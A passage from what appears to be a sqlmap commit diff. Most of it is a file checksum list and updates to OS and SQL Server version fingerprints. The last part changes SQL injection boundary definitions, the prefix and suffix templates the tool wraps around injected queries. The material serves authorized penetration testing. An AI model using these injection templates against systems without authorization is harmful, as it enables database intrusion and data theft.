859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/virtuoso/syntax.py
|
||||
2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py
|
||||
51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py
|
||||
a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py
|
||||
37351d6fb7418e3659bec5c9a6f9f181a606deae74d3bc9fb8c97f495449471f plugins/generic/databases.py
|
||||
a82834adfe09cd73d69fd954047e09dddcc6c63183994499ce134e27b56e2321 plugins/generic/entries.py
|
||||
d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py
|
||||
a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py
|
||||
efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py
|
||||
ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py
|
||||
7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py
|
||||
da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py
|
||||
cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py
|
||||
45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py
|
||||
423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md
|
||||
c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py
|
||||
4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml
|
||||
627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf
|
||||
4cec2aae8d65d67cd6db60f00217aa05ab449345ed3a38e04697b85b53d755f1 sqlmap.py
|
||||
eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py
|
||||
a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py
|
||||
cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py
|
||||
0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py
|
||||
11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py
|
||||
cb833979eccf26a5e176f7c8ca40a24bf9904cb2902a1b9df436aefb6a24447e tamper/between.py
|
||||
6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py
|
||||
9e1852d61d439181c42cb6d28656e9464a1dd5991269f000fb47e107f2f6f4f1 tamper/bluecoat.py
|
||||
578e36fcf7d596574119ef75cbf1a83040913587a02855f0b6a7e684f9f9c8a5 tamper/chardoubleencode.py
|
||||
c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py
|
||||
72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py
|
||||
50107854594fb13b4b95eed2ab8e66d2dd5470dd7d6b59c124ca766b1ec4b6ed tamper/charunicodeescape.py
|
||||
d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py
|
||||
1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py
|
||||
ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py
|
||||
66cad47087c78a5658445f8a00f2e1cd533a6d7c57aec2d1eb1fe486956aa3ea tamper/concat2concatws.py
|
||||
b5a5ba94a78cf83b35cdb0b08d9d69dbf1f33c07cc5152c560ae5aee54a4c066 tamper/decentities.py
|
||||
1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py
|
||||
99c59e6fd7cafc9238c53e037eff457823854eef7cb0c5ea05941e0223229209 tamper/equaltolike.py
|
||||
b3940e8d029150a81f17a2da1141928c31b6abb9ade3672d093051e310439995 tamper/equaltorlike.py
|
||||
d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py
|
||||
0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py
|
||||
26e57bc7c118168f20a5fc80d2d2fdbef05c027328c5c55cbbe92047ee8123da tamper/halfversionedmorekeywords.py
|
||||
f0a7b635061385a3bf399cc51faf4d5e10694266aaa21fba557ca655c00a09bc tamper/hex2char.py
|
||||
9096cbf2283137d592408325347f46866fd139966c946f8ba1ea61826472d0bb tamper/hexentities.py
|
||||
3e518ace6940d54e8844c83781756e85d5670c53dfac0a092c4ee36cd5111885 tamper/htmlencode.py
|
||||
04028ea55034ef5c82167db35cb1276d3d5c717f6b22507b791342ccf82722ad tamper/if2case.py
|
||||
365085e79d296791464ec3f041a26554b19ba4865c4a727e258e9586b0bcfbe7 tamper/ifnull2casewhenisnull.py
|
||||
e73e3723d4b61515d7ad2c0fe6e9a9dcaeeac6a93ed6149f44d59e4e41543226 tamper/ifnull2ifisnull.py
|
||||
94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py
|
||||
017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py
|
||||
d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py
|
||||
a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py
|
||||
93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py
|
||||
d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py
|
||||
eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py
|
||||
b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py
|
||||
6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py
|
||||
687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py
|
||||
07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py
|
||||
b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py
|
||||
dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605 tamper/percentage.py
|
||||
5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py
|
||||
3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py
|
||||
007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3 tamper/randomcase.py
|
||||
27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a tamper/randomcomments.py
|
||||
e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py
|
||||
21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py
|
||||
7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py
|
||||
856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6 tamper/space2comment.py
|
||||
715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5 tamper/space2dash.py
|
||||
21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65 tamper/space2hash.py
|
||||
329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49 tamper/space2morecomment.py
|
||||
c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f tamper/space2morehash.py
|
||||
f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f tamper/space2mssqlblank.py
|
||||
0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d tamper/space2mssqlhash.py
|
||||
528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1 tamper/space2mysqlblank.py
|
||||
466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91 tamper/space2mysqldash.py
|
||||
4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7 tamper/space2plus.py
|
||||
b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331 tamper/space2randomblank.py
|
||||
6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11 tamper/sp_password.py
|
||||
8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py
|
||||
d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf tamper/symboliclogical.py
|
||||
c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff tamper/unionalltounion.py
|
||||
9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py
|
||||
67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py
|
||||
3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py
|
||||
7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d tamper/versionedkeywords.py
|
||||
dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda tamper/versionedmorekeywords.py
|
||||
ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py
|
||||
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
|
||||
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
|
||||
7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py
|
||||
f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py
|
||||
9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py
|
||||
0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py
|
||||
901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py
|
||||
df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py
|
||||
e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py
|
||||
2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py
|
||||
558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py
|
||||
3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py
|
||||
4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py
|
||||
0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py
|
||||
924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py
|
||||
46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py
|
||||
883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py
|
||||
fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py
|
||||
32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py
|
||||
368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py
|
||||
d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py
|
||||
257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py
|
||||
806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py
|
||||
737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
|
||||
62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py
|
||||
be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
|
||||
3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
|
||||
d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py
|
||||
2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py
|
||||
f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py
|
||||
2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py
|
||||
4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py
|
||||
f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py
|
||||
5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py
|
||||
4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
|
||||
011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
|
||||
87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
|
||||
498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
|
||||
2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py
|
||||
d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py
|
||||
208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
|
||||
a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py
|
||||
21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
|
||||
b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py
|
||||
1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
|
||||
162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py
|
||||
a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py
|
||||
d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py
|
||||
f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py
|
||||
fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py
|
||||
179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py
|
||||
4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
|
||||
6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
|
||||
dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
|
||||
e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py
|
||||
edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
|
||||
d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
|
||||
879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py
|
||||
ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998 thirdparty/keepalive/keepalive.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
|
||||
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
||||
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
||||
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
|
||||
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
|
||||
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
||||
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
||||
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
|
||||
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
|
||||
56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82 thirdparty/socks/socks.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
|
||||
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
|
||||
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
|
||||
7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py
|
||||
@@ -34,7 +34,7 @@
|
||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||
|
||||
<regexp value="Windows.*\b10\.0">
|
||||
<info type="Windows" distrib="2016|2019|2022|10|11"/>
|
||||
<info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b6\.3">
|
||||
@@ -179,6 +179,10 @@
|
||||
<info type="Linux" distrib="Rocky"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="AlmaLinux">
|
||||
<info type="Linux" distrib="Alma"/>
|
||||
</regexp>
|
||||
|
||||
<!-- BSD -->
|
||||
|
||||
<regexp value="FreeBSD">
|
||||
|
||||
@@ -1,5 +1,195 @@
|
||||
<?xml version="1.0" ?>
|
||||
<!--
|
||||
Release/Service Pack anchors for SQL Server 2012-2022.
|
||||
Each release leads with a coarse "major.minor" signature (matches any patch
|
||||
level, so the product year is always resolved) followed by exact RTM/SP base
|
||||
builds (last match wins, so the specific entry overrides the coarse fallback
|
||||
and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
|
||||
Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
|
||||
-->
|
||||
<root>
|
||||
<signatures release="2022">
|
||||
<signature>
|
||||
<version>
|
||||
16.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
16.0.1000.6
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2019">
|
||||
<signature>
|
||||
<version>
|
||||
15.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
15.0.2000.5
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2017">
|
||||
<signature>
|
||||
<version>
|
||||
14.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
14.0.1000.169
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2016">
|
||||
<signature>
|
||||
<version>
|
||||
13.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.1601.5
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.4001.0
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.5026.0
|
||||
</version>
|
||||
<servicepack>
|
||||
2
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.6300.2
|
||||
</version>
|
||||
<servicepack>
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2014">
|
||||
<signature>
|
||||
<version>
|
||||
12.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.2000.8
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.4100.1
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.5000.0
|
||||
</version>
|
||||
<servicepack>
|
||||
2
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.6024.0
|
||||
</version>
|
||||
<servicepack>
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2012">
|
||||
<signature>
|
||||
<version>
|
||||
11.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.2100.60
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.3000.0
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.5058.0
|
||||
</version>
|
||||
<servicepack>
|
||||
2
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.6020.0
|
||||
</version>
|
||||
<servicepack>
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.7001.0
|
||||
</version>
|
||||
<servicepack>
|
||||
4
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2008 R2">
|
||||
<signature>
|
||||
<version>
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
<!--
|
||||
References:
|
||||
* https://en.wikipedia.org/wiki/Debian_version_history
|
||||
* https://en.wikipedia.org/wiki/Ubuntu_version_history
|
||||
-->
|
||||
|
||||
<root>
|
||||
@@ -76,4 +77,30 @@
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
|
||||
</regexp>
|
||||
|
||||
</root>
|
||||
|
||||
+60
-61
@@ -55,6 +55,8 @@ Tag: <boundary>
|
||||
4: Double quoted string
|
||||
5: LIKE double quoted string
|
||||
6: Identifier (e.g. column name)
|
||||
7: Block comment
|
||||
8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
|
||||
|
||||
Sub-tag: <prefix>
|
||||
A string to prepend to the payload.
|
||||
@@ -342,14 +344,6 @@ Formats:
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
@@ -414,41 +408,6 @@ Formats:
|
||||
<suffix>)+'</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
